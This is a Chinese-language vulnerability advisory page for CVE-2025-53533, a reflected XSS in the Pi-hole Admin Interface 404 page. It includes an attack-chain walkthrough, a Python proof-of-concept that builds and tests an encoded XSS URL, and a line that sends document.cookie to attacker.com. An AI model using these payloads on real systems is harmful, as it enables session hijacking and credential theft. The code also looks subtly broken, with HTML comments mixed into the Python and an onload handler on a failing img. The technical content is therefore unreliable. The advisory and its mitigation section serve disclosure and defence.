IPBUF安全漏洞报告
English
CVE-2025-53533 CVSS 6.1 中危

CVE-2025-53533: Pi-hole Admin Interface 6.2.1及更早版本反射型XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-53533
漏洞类型
反射型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Pi-hole Admin Interface

相关标签

反射型XSS跨站脚本Pi-holePi-hole Admin InterfaceCVE-2025-53533Web应用安全网络基础设施404页面注入中危漏洞

漏洞概述

CVE-2025-53533是Pi-hole Admin Interface中的一个中危反射型跨站脚本(XSS)漏洞。该漏洞影响6.2.1及更早版本。Pi-hole是一个网络级广告和互联网跟踪器屏蔽应用程序,其Admin Interface是用于管理Pi-hole的Web界面。漏洞的根本原因在于404错误页面在渲染时,将用户请求的URL路径直接插入到body标签的class属性中,而没有进行适当的HTML转义或清理。攻击者可以通过构造包含恶意JavaScript代码的畸形URL路径来利用此漏洞。当受害者访问攻击者精心设计的链接时,浏览器会执行注入的恶意脚本,从而可能导致会话劫持、敏感信息窃取或其他客户端攻击。此漏洞的CVSS评分为6.1,属于中等严重程度,攻击向量为网络,无需认证但需要用户交互。由于Pi-hole通常部署在网络基础设施层面,攻击成功可能影响整个网络的设备。

技术细节

该漏洞是由于Pi-hole Admin Interface的404错误页面处理机制存在缺陷。当用户请求一个不存在的页面时,服务器会返回一个404错误页面。在生成这个错误页面时,应用程序将原始请求的URL路径提取出来,并直接写入到body标签的class属性中。由于没有对URL路径进行HTML实体编码(如将<转换为&lt;,>转换为&gt;等),攻击者可以在URL路径中注入任意HTML属性,包括onload事件处理器。攻击者可以构造如下形式的恶意URL:https://target-pihole.com/<img src=x onload=alert(document.cookie)>。当服务器返回404页面时,body标签的class属性会包含攻击者注入的内容,浏览器在解析HTML时会识别onload属性并执行其中的JavaScript代码。这种反射型XSS的特点是恶意代码不存储在服务器端,而是通过URL参数反射给用户。由于URL通常会对特殊字符进行URL编码,攻击者需要使用适当的编码技术来绕过过滤并确保payload被浏览器正确解析和执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标是否运行Pi-hole Admin Interface,并确定其版本号(需<=6.2.1)。可以通过搜索引擎、Shodan等工具进行扫描。
STEP 2
步骤2: 构造恶意URL
攻击者构造包含XSS payload的畸形URL。Payload会被插入到404页面的body标签class属性中。示例:https://target/admin/<img src=x onload=alert(document.cookie)>
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、即时通讯或其他渠道将恶意链接发送给目标用户。链接需要伪装或配合社会工程技巧诱导用户点击。
STEP 4
步骤4: 触发漏洞
用户访问恶意链接后,服务器返回404错误页面。由于路径未经转义直接输出到body标签属性中,浏览器解析HTML时识别onload属性并执行注入的JavaScript代码。
STEP 5
步骤5: 恶意代码执行
攻击者的JavaScript代码在受害者浏览器中执行。这可能导致:窃取会话cookie、劫持用户会话、执行未经授权的操作、窃取敏感信息或将攻击横向扩展到内网其他设备。
STEP 6
步骤6: 持久化或数据外传
攻击者通过JavaScript将窃取的凭证或敏感数据发送到攻击者控制的外部服务器。如果获取了管理员凭据,攻击者可能进一步控制Pi-hole设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-53533 PoC: Reflected XSS in Pi-hole Admin Interface 404 page --> <!-- Attack vector: Malformed URL path with onload attribute injection --> <!-- Target: Pi-hole Admin Interface <= 6.2.1 --> <!-- Step 1: Craft the malicious URL --> <!-- The payload injects an onload attribute into the body tag class via 404 page --> <!-- URL encode the payload to bypass potential filters --> <!-- Example malicious URL (URL decoded for readability): --> <!-- https://vulnerable-pihole.com/<img src=x onerror=alert(document.domain)> --> <!-- Step 2: Send the crafted URL to the victim --> <!-- When victim visits the link, the following happens: --> <!-- 1. Server returns 404 page --> <!-- 2. The requested path is placed in body class attribute --> <!-- 3. Browser parses the HTML and executes the onload/onerror handler --> <!-- Python PoC script --> import urllib.parse import requests def generate_poc(target_url): """Generate CVE-2025-53533 exploit URL""" # XSS payload - will be placed in body class attribute xss_payload = '<img src=x onerror=alert(document.cookie)>' # URL encode the payload encoded_payload = urllib.parse.quote(xss_payload) # Construct the malicious URL malicious_url = f"{target_url.rstrip('/')}/{encoded_payload}" return malicious_url def test_vulnerability(target_url): """Test if the target is vulnerable""" poc_url = generate_poc(target_url) print(f"[*] Testing CVE-2025-53533 on: {target_url}") print(f"[*] Malicious URL: {poc_url}") try: response = requests.get(poc_url, timeout=10) if response.status_code == 404: # Check if payload is reflected in body class if '<img src=x onerror=alert' in response.text: print("[!] VULNERABLE: XSS payload reflected in 404 page") return True else: print("[-] Possibly patched or filtered") return False else: print(f"[*] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "https://pi-hole-admin.example.com" test_vulnerability(target) <!-- Real-world attack scenario: --> <!-- Attacker sends this link to victim via email, chat, etc. --> <!-- https://192.168.1.1/admin/<img src=x onload=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Victim clicks link -> XSS executes -> Cookie stolen -->

影响范围

Pi-hole Admin Interface <= 6.2.1

防御指南

临时缓解措施
立即升级Pi-hole Admin Interface到6.3版本。如果无法立即升级,可以临时使用Web应用防火墙规则阻止包含特殊字符(如<>)的URL路径请求,或在反向代理层面添加输入过滤。对于无法升级的生产环境,建议限制Admin Interface的访问范围,仅允许受信任的IP地址访问管理后台,并启用双因素认证以降低凭证被盗风险。同时监控日志中的异常404请求模式,以便及时发现潜在的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表